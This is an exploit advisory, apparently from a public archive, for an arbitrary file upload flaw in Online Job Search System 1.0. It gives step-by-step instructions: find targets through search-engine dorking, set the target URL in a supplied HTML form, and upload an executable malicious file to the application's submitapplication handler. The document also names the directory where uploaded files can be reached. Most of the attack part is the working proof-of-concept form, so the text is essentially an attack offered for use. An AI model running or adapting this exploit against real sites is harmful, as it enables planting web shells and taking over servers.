Headline
Online Job Search System 1.0 Arbitrary File Upload
Online Job Search System version 1.0 suffers from an arbitrary file upload vulnerability.
=============================================================================================================================================| # Title : Online Job Search System 1.0 Remote File Upload Vulnerability || # Author : indoushka || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits) || # Vendor : https://www.campcodes.com/downloads/online-job-search-system-using-php-mysql-source-code/?wpdmdl=8545&refresh=66bbf77f15e8c1723594623 |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] The following html code uploads a executable malicious file remotely .[+] Go to the line 10.[+] Set the target site link Save changes and apply . [+] save code as poc.html .<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Submit Application</title></head><body> <h2>Submit Application</h2> <form action="http://127.0.0.1/eris/process.php?action=submitapplication&JOBID=2" method="POST" enctype="multipart/form-data"> <!-- Input for file upload (picture) --> <div class="form-group"> <label for="picture">Upload your picture:</label> <input type="file" name="picture" id="picture" required> </div> <!-- Submit button --> <div class="form-group"> <button type="submit">Submit</button> </div> </form></body></html>[+] path : http://127.0.0.1/eris/applicant/photosGreetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================